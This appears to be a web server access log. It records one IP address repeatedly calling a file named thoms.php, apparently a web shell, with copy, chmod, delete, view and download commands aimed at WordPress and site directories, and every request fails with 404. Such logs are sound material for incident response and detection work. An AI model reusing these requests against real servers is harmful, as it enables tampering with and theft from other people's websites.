45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?chmod=admin.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2F.244961129106187.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2F.244961129106187.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Ftxets.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Ftxets.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?dl=txets.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2F.854077255588723.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2F.854077255588723.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?del=admin.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Findex.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Findex.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?chmod=termps.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
